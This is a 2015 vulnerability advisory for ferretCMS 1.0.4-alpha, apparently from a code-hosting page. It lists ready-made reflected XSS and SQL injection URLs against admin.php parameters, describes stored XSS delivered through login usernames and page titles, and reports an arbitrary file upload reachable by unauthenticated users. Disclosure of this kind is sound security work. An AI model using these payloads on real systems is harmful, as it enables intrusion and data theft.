121 lines
No EOL
3.9 KiB
Text
121 lines
No EOL
3.9 KiB
Text
Advisory:
|
||
Advisory ID: SROEADV-2015-10
|
||
Author: Steffen Rösemann
|
||
Affected Software: ferretCMS v. 1.0.4-alpha
|
||
Vendor URL: https://github.com/JRogaishio/ferretCMS
|
||
Vendor Status: vendor will patch eventually
|
||
CVE-ID: -
|
||
|
||
Tested on:
|
||
|
||
- Firefox 35, Iceweasel 31
|
||
- Mac OS X 10.10, Kali Linux 1.0.9a
|
||
|
||
==========================
|
||
Vulnerability Description:
|
||
==========================
|
||
|
||
The content management system ferretCMS v.1.0.4, which is currently in
|
||
alpha development stage, suffers from multiple stored/reflecting XSS- and
|
||
SQLi-vulnerabilities in its administrative backend.
|
||
Moreover, there exists the possibility to upload arbitrary files via the
|
||
administrative backend, which can be executed by unauthenticated users, too.
|
||
|
||
==================
|
||
Technical Details:
|
||
==================
|
||
|
||
A reflecting XSS vulnerability can be found in the parameter "action" used
|
||
in the file admin.php:
|
||
|
||
http://
|
||
{TARGET}/admin.php?type=search&action=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
|
||
|
||
Stored XSS vulnerabilities resides in the logging functionality of
|
||
ferretCMS. On the administrative backend, the administrator has the
|
||
opportunity to watch events stored in a log. An event, that gets logged,
|
||
are login-attempts to the administrative backend, where the used username
|
||
is displayed, too. An attacker can abuse this, by trying to log in with
|
||
JavaScript-code instead of a username. That code gets executed in the logs.
|
||
|
||
Login-form is located here: http://{TARGET}/admin.php
|
||
|
||
XSS gets executed here: http://{TARGET}/admin.php?type=log&action=read
|
||
|
||
Another stored XSS vulnerability can be found in the pagetitle of a new
|
||
blog entry that is created by the administrator:
|
||
|
||
vulnerable form: http://{TARGET}/admin.php?type=page&action=insert&p=
|
||
|
||
XSS gets executed here: http://{TARGET}/admin.php?type=page&action=read
|
||
|
||
|
||
The following URLs are prone to SQL injection attacks:
|
||
|
||
http://
|
||
{TARGET}/admin.php?type=site&action=update&p=1+and+1=2+union+select+1,version%28%29,3,4+--+
|
||
|
||
http://
|
||
{TARGET}/admin.php?type=customkey&action=update&p=1+and+1=2+union+select+1,version%28%29,database%28%29,4+--+
|
||
|
||
http://
|
||
{TARGET}/admin.php?type=account&action=update&p=1+and+1=2+union+select+1,database%28%29,3,4,5,version%28%29,7,8,9+--+
|
||
|
||
http://
|
||
{TARGET}/admin.php?type=plugin&action=update&p=1+and+1=2+union+select+1,database%28%29,version%28%29,4+--+
|
||
|
||
http://
|
||
{TARGET}/admin.php?type=template&action=update&p=1+and+1=2+union+select+1,version%28%29,database%28%29,user%28%29,5+--+
|
||
|
||
http://
|
||
{TARGET}/admin.php?type=permissiongroup&action=update&p=1+and+1=2+union+select+1,version%28%29,3,4+--+
|
||
|
||
http://
|
||
{TARGET}/admin.php?type=page&action=update&p=1+and+substring%28version%28%29,1,1%29=5+--+
|
||
|
||
Last but not least there is a file-upload functionality in the
|
||
administrative backend of ferretCMS. The administrator can upload arbitrary
|
||
files here via the following URL:
|
||
|
||
http://localhost/ferretCMS/admin.php?type=uploader&action=upload
|
||
|
||
Any unauthenticated user can execute/read those files that had been
|
||
uploaded by visiting the following URL:
|
||
|
||
http://{TARGET}/custom/uploads/{NAME_OF_THE_UPLOADED_FILE}
|
||
|
||
|
||
=========
|
||
Solution:
|
||
=========
|
||
|
||
Vendor responded, issues will be patched eventually.
|
||
|
||
|
||
====================
|
||
Disclosure Timeline:
|
||
====================
|
||
15/16-Jan-2015 – found the vulnerability
|
||
16-Jan-2015 - informed the developers (see [3])
|
||
16-Jan-2015 – release date of this security advisory [without technical
|
||
details]
|
||
21-Jan-2015 - attempt #2 to inform the developer via mail
|
||
22-Jan-2015 - vendor responded, technical details posted to Github (see [3])
|
||
22-Jan-2015 - release date of this security advisory
|
||
22-Jan-2015 - send to lists
|
||
|
||
|
||
========
|
||
Credits:
|
||
========
|
||
|
||
Vulnerability found and advisory written by Steffen Rösemann.
|
||
|
||
===========
|
||
References:
|
||
===========
|
||
|
||
[1] https://github.com/JRogaishio/ferretCMS
|
||
[2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-10.html
|
||
[3] https://github.com/JRogaishio/ferretCMS/issues/63
|
||
[4] https://github.com/sroesemann/ferretCMS |